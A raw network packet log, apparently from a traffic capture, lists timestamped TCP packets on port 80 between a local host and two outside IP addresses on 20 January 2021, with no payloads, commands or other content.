Jan 20, 2021 16:13:23.735831976 CET	49166	80	192.168.2.22	103.11.153.223
Jan 20, 2021 16:13:23.737931967 CET	49166	80	192.168.2.22	103.11.153.223
Jan 20, 2021 16:13:23.911029100 CET	80	49166	103.11.153.223	192.168.2.22
Jan 20, 2021 16:13:23.911391973 CET	80	49166	103.11.153.223	192.168.2.22
Jan 20, 2021 16:13:23.911604881 CET	49166	80	192.168.2.22	103.11.153.223
Jan 20, 2021 16:13:26.543320894 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.615297079 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.615386009 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.615818024 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.687426090 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.689331055 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.689404011 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.689431906 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.689444065 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.689476013 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.689485073 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.689490080 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.689501047 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.689511061 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.689527988 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.689536095 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.689560890 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.689631939 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.689656019 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.689666986 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.689680099 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.689683914 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.689702988 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.689712048 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.689733982 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.692665100 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761455059 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761528015 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761568069 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761611938 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761626005 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761647940 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761667967 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761674881 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761677980 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761677980 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761703968 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761714935 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761728048 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761739016 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761750937 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761760950 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761776924 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761789083 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761800051 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761810064 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761823893 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761831999 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761848927 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761857986 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761877060 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761879921 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761902094 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761909962 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761924028 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761934042 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761948109 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761956930 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761972904 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.761982918 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.761996031 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.762008905 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.762029886 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.762695074 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840353012 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840378046 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840408087 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840435028 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840461969 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840480089 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840509892 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840522051 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840548992 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840559959 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840563059 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840565920 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840579033 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840581894 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840598106 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840604067 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840615988 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840627909 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840636015 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840661049 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840670109 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840677023 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840692043 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840697050 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840708017 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840708971 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840725899 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840734959 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840740919 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840764999 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840785027 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840792894 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840815067 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840816021 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840847969 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840856075 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840888023 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.840899944 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840917110 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840929031 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840940952 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840953112 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.840981960 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.841005087 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.841006041 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.841017008 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.841027975 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.841032982 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.841058969 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.841372013 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913081884 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913130045 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913166046 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913189888 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913212061 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913249969 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913273096 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913285017 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913309097 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913328886 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913332939 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913336039 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913341045 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913343906 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913363934 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913378954 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913419008 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913439989 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913464069 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913476944 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913494110 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913501024 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913523912 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913535118 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913558006 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913558960 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913582087 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913600922 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913616896 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913623095 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913649082 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913657904 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913674116 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913686037 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913712978 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913722038 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913748980 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913747072 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913779020 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913785934 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913815022 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913817883 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913839102 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913851023 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913868904 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913868904 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913902044 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913906097 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913928032 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913937092 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913959980 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.913959980 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913985014 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.913994074 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.914016962 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.914017916 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.914051056 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.914135933 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987298012 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987335920 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987358093 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987381935 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987418890 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987440109 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987469912 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987488985 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987509012 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987505913 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987541914 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987549067 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987555981 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987557888 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987560987 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987564087 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987571001 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987596989 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987601995 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987620115 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987633944 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987641096 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987653971 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987677097 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987678051 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987699032 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987713099 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987725973 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987730980 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987765074 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987787008 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987797976 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987797976 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987828970 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987832069 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987864017 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987864971 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987895966 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987900019 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987927914 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987930059 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987961054 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.987963915 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987987041 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.987997055 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.988007069 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.988020897 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.988029003 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.988033056 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.988049984 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.988061905 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.988074064 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.988082886 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.988099098 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.988109112 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.988120079 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.988132000 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.988142967 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:26.988145113 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.988177061 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:26.989105940 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060352087 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060384989 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060410976 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060440063 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060456038 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060458899 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060484886 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060502052 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060503960 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060509920 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060514927 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060520887 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060547113 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060605049 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060606003 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060625076 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060643911 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060653925 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060657978 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060684919 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060689926 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060704947 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060724020 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060729980 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060739994 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060753107 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060754061 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060786009 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060790062 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060803890 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060818911 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060822964 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060836077 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060844898 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060853958 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060869932 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060897112 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060905933 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060906887 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060929060 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060944080 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060960054 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060970068 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.060976982 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.060993910 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.061002970 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.061017036 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.061022043 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.061026096 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.061053038 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.061055899 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.061081886 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.061091900 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.061100006 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.061115980 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.061126947 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.061135054 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.061145067 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.061155081 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.061158895 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.061167955 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.061182976 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.061197996 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.061202049 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.061218023 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.061225891 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.061240911 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.061256886 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.061312914 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.135704994 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.135737896 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.135894060 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.135929108 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.135971069 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136312962 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.136344910 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.136367083 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.136373997 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136388063 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136394978 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.136405945 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136421919 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.136432886 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136449099 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.136460066 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136476994 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.136487961 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136516094 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136622906 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.136662960 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136710882 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.136743069 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.136755943 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136770010 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.136780977 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136795998 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.136826038 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136842012 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.136852980 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136868954 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.136879921 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136898041 CET	80	49167	46.28.239.13	192.168.2.22
